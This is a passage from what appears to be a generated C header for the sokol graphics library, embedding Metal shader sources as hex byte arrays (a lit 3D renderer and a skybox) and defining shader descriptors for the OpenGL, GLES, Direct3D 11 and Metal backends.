0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,
0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x20,0x3d,0x20,0x30,0x2e,
0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x30,0x39,0x20,0x3d,0x20,0x6f,0x72,
0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,
0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x32,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,
0x20,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,
0x65,0x6e,0x74,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,
0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x34,0x30,0x39,
0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,0x5f,0x33,0x39,0x31,0x20,0x2f,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x28,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x36,0x20,0x3d,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x66,0x61,0x6c,0x6c,0x6f,0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x33,0x31,0x20,0x3d,0x20,0x61,0x74,
0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,0x20,
0x28,0x5f,0x34,0x33,0x31,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x36,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x34,0x35,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,0x3d,0x20,0x5f,0x33,0x39,0x39,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x20,0x3d,0x20,0x5f,
0x33,0x30,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x38,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x28,
0x28,0x28,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,
0x75,0x6c,0x61,0x72,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x29,0x20,0x2a,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x38,0x2c,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x31,0x39,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x32,0x34,0x20,0x2a,0x20,0x5f,0x33,0x38,0x37,0x2e,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x29,0x20,0x2a,
0x20,0x5f,0x34,0x30,0x39,0x29,0x29,0x20,0x2a,0x20,0x5f,0x34,0x33,0x31,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x7d,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x34,0x36,0x32,0x20,0x3d,0x20,0x74,0x6f,
0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x74,
0x6f,0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,
0x20,0x3d,0x20,0x5f,0x34,0x36,0x32,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x28,0x5f,0x34,0x36,0x32,0x2c,0x20,0x5f,0x33,0x31,0x34,0x2e,
0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,
0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_skybox_params
{
float4x4 uModelViewProjection;
};
struct main0_out
{
float3 vTexCoord [[user(locn0)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
};
#line 19 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_skybox_params& _22 [[buffer(0)]])
{
main0_out out = {};
#line 19 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aPosition.xzy;
#line 20 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = (_22.uModelViewProjection * float4(in.aPosition, 1.0)).xyww;
return out;
}
*/
static const char vs_skybox_source_metal_sim[684] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,
0x69,0x6f,0x6e,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,
0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,
0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,
0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,
0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,0x73,
0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x32,
0x32,0x20,0x5b,0x5b,0x62,0x75,0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,
0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,
0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x32,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x28,0x5f,0x32,0x32,0x2e,
0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,
0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,
0x29,0x2e,0x78,0x79,0x77,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,
0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct main0_out
{
float4 fragColor [[color(0)]];
};
struct main0_in
{
float3 vTexCoord [[user(locn0)]];
};
#line 12 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], texturecube<float> imageSkybox [[texture(0)]], sampler imageSkyboxSmplr [[sampler(0)]])
{
main0_out out = {};
#line 12 "src/ek/scenex/3d/render3d.glsl"
out.fragColor = imageSkybox.sample(imageSkyboxSmplr, in.vTexCoord);
return out;
}
*/
static const char fs_skybox_source_metal_sim[531] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,
0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,
0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,
0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,
0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,
0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,
0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x2c,0x20,0x74,0x65,0x78,0x74,0x75,
0x72,0x65,0x63,0x75,0x62,0x65,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,0x20,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x20,0x5b,0x5b,0x74,0x65,0x78,0x74,
0x75,0x72,0x65,0x28,0x30,0x29,0x5d,0x5d,0x2c,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,
0x72,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,
0x6c,0x72,0x20,0x5b,0x5b,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x28,0x30,0x29,0x5d,
0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,
0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x69,0x6d,0x61,0x67,0x65,
0x53,0x6b,0x79,0x62,0x6f,0x78,0x2e,0x73,0x61,0x6d,0x70,0x6c,0x65,0x28,0x69,0x6d,
0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,
0x69,0x6e,0x2e,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,0x3b,0x0a,0x7d,
0x0a,0x0a,0x00,
};
#endif /* SOKOL_METAL */
#if !defined(SOKOL_GFX_INCLUDED)
#error "Please include sokol_gfx.h before render3d_shader.h"
#endif
static inline const sg_shader_desc* render3d_shader_desc(sg_backend backend) {
#if defined(SOKOL_GLCORE33)
if (backend == SG_BACKEND_GLCORE33) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_source_glsl330;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 256;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 16;
desc.fs.source = fs_source_glsl330;
desc.fs.entry = "main";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[0].uniforms[0].name = "material_params";
desc.fs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[0].uniforms[0].array_count = 5;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[1].uniforms[0].name = "fs_params";
desc.fs.uniform_blocks[1].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[1].uniforms[0].array_count = 3;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[2].uniforms[0].name = "light_params";
desc.fs.uniform_blocks[2].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[2].uniforms[0].array_count = 4;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.uniform_blocks[3].uniforms[0].name = "light2_params";
desc.fs.uniform_blocks[3].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[3].uniforms[0].array_count = 4;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_GLCORE33 */
#if defined(SOKOL_GLES2)
if (backend == SG_BACKEND_GLES2) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_source_glsl100;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 256;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 16;
desc.fs.source = fs_source_glsl100;
desc.fs.entry = "main";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[0].uniforms[0].name = "material_params";
desc.fs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[0].uniforms[0].array_count = 5;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[1].uniforms[0].name = "fs_params";
desc.fs.uniform_blocks[1].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[1].uniforms[0].array_count = 3;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[2].uniforms[0].name = "light_params";
desc.fs.uniform_blocks[2].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[2].uniforms[0].array_count = 4;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.uniform_blocks[3].uniforms[0].name = "light2_params";
desc.fs.uniform_blocks[3].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[3].uniforms[0].array_count = 4;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_GLES2 */
#if defined(SOKOL_GLES3)
if (backend == SG_BACKEND_GLES3) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].name = "aPosition";
desc.attrs[1].name = "aNormal";
desc.attrs[2].name = "aTexCoord";
desc.attrs[3].name = "aColorMult";
desc.attrs[4].name = "aColorOffset";
desc.vs.source = vs_source_glsl300es;
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 256;
desc.vs.uniform_blocks[0].uniforms[0].name = "vs_params";
desc.vs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.vs.uniform_blocks[0].uniforms[0].array_count = 16;
desc.fs.source = fs_source_glsl300es;
desc.fs.entry = "main";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[0].uniforms[0].name = "material_params";
desc.fs.uniform_blocks[0].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[0].uniforms[0].array_count = 5;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[1].uniforms[0].name = "fs_params";
desc.fs.uniform_blocks[1].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[1].uniforms[0].array_count = 3;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[2].uniforms[0].name = "light_params";
desc.fs.uniform_blocks[2].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[2].uniforms[0].array_count = 4;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.uniform_blocks[3].uniforms[0].name = "light2_params";
desc.fs.uniform_blocks[3].uniforms[0].type = SG_UNIFORMTYPE_FLOAT4;
desc.fs.uniform_blocks[3].uniforms[0].array_count = 4;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_GLES3 */
#if defined(SOKOL_D3D11)
if (backend == SG_BACKEND_D3D11) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.attrs[0].sem_name = "TEXCOORD";
desc.attrs[0].sem_index = 0;
desc.attrs[1].sem_name = "TEXCOORD";
desc.attrs[1].sem_index = 1;
desc.attrs[2].sem_name = "TEXCOORD";
desc.attrs[2].sem_index = 2;
desc.attrs[3].sem_name = "TEXCOORD";
desc.attrs[3].sem_index = 3;
desc.attrs[4].sem_name = "TEXCOORD";
desc.attrs[4].sem_index = 4;
desc.vs.source = vs_source_hlsl5;
desc.vs.d3d11_target = "vs_5_0";
desc.vs.entry = "main";
desc.vs.uniform_blocks[0].size = 256;
desc.fs.source = fs_source_hlsl5;
desc.fs.d3d11_target = "ps_5_0";
desc.fs.entry = "main";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[2].size = 64;
desc.fs.uniform_blocks[3].size = 64;
desc.fs.images[0].name = "u_image_shadow_map";
desc.fs.images[0].image_type = SG_IMAGETYPE_2D;
desc.fs.images[0].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.fs.images[1].name = "uImage0";
desc.fs.images[1].image_type = SG_IMAGETYPE_2D;
desc.fs.images[1].sampler_type = SG_SAMPLERTYPE_FLOAT;
desc.label = "render3d_shader";
}
return &desc;
}
#endif /* SOKOL_D3D11 */
#if defined(SOKOL_METAL)
if (backend == SG_BACKEND_METAL_MACOS) {
static sg_shader_desc desc;
static bool valid;
if (!valid) {
valid = true;
desc.vs.source = vs_source_metal_macos;
desc.vs.entry = "main0";
desc.vs.uniform_blocks[0].size = 256;
desc.fs.source = fs_source_metal_macos;
desc.fs.entry = "main0";
desc.fs.uniform_blocks[0].size = 80;
desc.fs.uniform_blocks[1].size = 48;
desc.fs.uniform_blocks[2].size = 64;
